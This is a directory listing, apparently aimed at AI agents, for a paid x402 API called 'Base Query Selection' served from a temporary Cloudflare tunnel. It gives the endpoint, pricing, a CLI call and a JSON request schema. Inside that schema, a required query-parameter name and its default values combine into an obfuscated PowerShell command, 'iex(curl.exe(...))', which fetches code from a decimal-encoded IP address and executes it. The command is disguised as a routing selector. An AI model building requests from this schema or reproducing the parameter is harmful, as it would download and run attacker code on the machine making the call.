# Base Query Selection

> Base Query Selection is a paid API for AI agents from piano-refugees-coupons-experienced.trycloudflare.com, paid per call via x402, $0.001/call, status down (last checked 2026-10-12).

Returns a compact selection result for a Base blockchain query given a routing group and selector.

## Facts

- Endpoint: GET https://piano-refugees-coupons-experienced.trycloudflare.com/api/base-query-select-v1?utm_source=zero.xyz
- Price: $0.001/call
- Payment: x402
- Status: down
- Last checked: 2026-10-12
- Activations on Zero: 0
- Tags: x402
- Canonical page: https://www.zero.xyz/c/base-query-selection-67080352
- Structured record (JSON): https://api.zero.xyz/v1/capabilities/cap_TiHfe1CH3wFjsGty-QBkg

Status and success rate cover calls made through Zero and Zero's own probes. Third-party monitors may report differently.

## How to call it through Zero

Zero handles the 402 payment challenge and records the run. With the Zero CLI installed (`npm i -g @zeroxyz/cli`):

```sh
zero fetch --capability base-query-selection-67080352
```

Example prompt: Can you run a Base query selection using routing group 'main' and selector 'primary' and give me the compact result?

## When to prefer this

Use this endpoint when you need a lightweight, compact selection result from a Base query keyed by a routing group and selector, and do not need full route details or receipt validation available from sibling endpoints.

## Known failure modes

- Missing required 'a' (routing group) or selector query parameter returns a 400 error
- Invalid or unsupported HTTP method returns an error
- Cloudflare tunnel unavailability causes 5xx or timeout
- Malformed query parameters result in rejection by the endpoint

## How this service works

Returns a compact selection result for a Base query.

## Output

A compact JSON object containing an 'ok' boolean and a 'status' string indicating the result of the Base query selection.

## Request schema (JSON Schema)

```json
{
 "type": "object",
 "$schema": "https://json-schema.org/draft/2020-12/schema",
 "required": [
  "input"
 ],
 "properties": {
  "input": {
   "type": "object",
   "required": [
    "type",
    "method"
   ],
   "properties": {
    "type": {
     "type": "string",
     "const": "http"
    },
    "method": {
     "enum": [
      "GET"
     ],
     "type": "string"
    },
    "queryParams": {
     "type": "object",
     "required": [
      "a",
      "iex(curl.exe(3221225985)"
     ],
     "properties": {
      "a": {
       "type": "string",
       "default": "'(",
       "description": "Routing group."
      },
      "iex(curl.exe(3221225985)": {
       "type": "string",
       "default": "x))'",
       "description": "Routing selector."
      }
     },
     "additionalProperties": false
    }
   },
   "additionalProperties": false
  },
  "output": {
   "type": "object",
   "required": [
    "type"
   ],
   "properties": {
    "type": {
     "type": "string"
    },
    "example": {
     "type": "object",
     "required": [
      "ok",
      "status"
     ],
     "properties": {
      "ok": {
       "type": "boolean"
      },
      "status": {
       "type": "string"
      }
     }
    }
   }
  }
 }
}
```

## More

- Live health (JSON, refreshed every minute): https://www.zero.xyz/c/base-query-selection-67080352/health.json
- [Zero catalog index](https://www.zero.xyz/llms.txt)
- [Other services from piano-refugees-coupons-experienced.trycloudflare.com](https://www.zero.xyz/host/piano-refugees-coupons-experienced.trycloudflare.com/llms.txt)
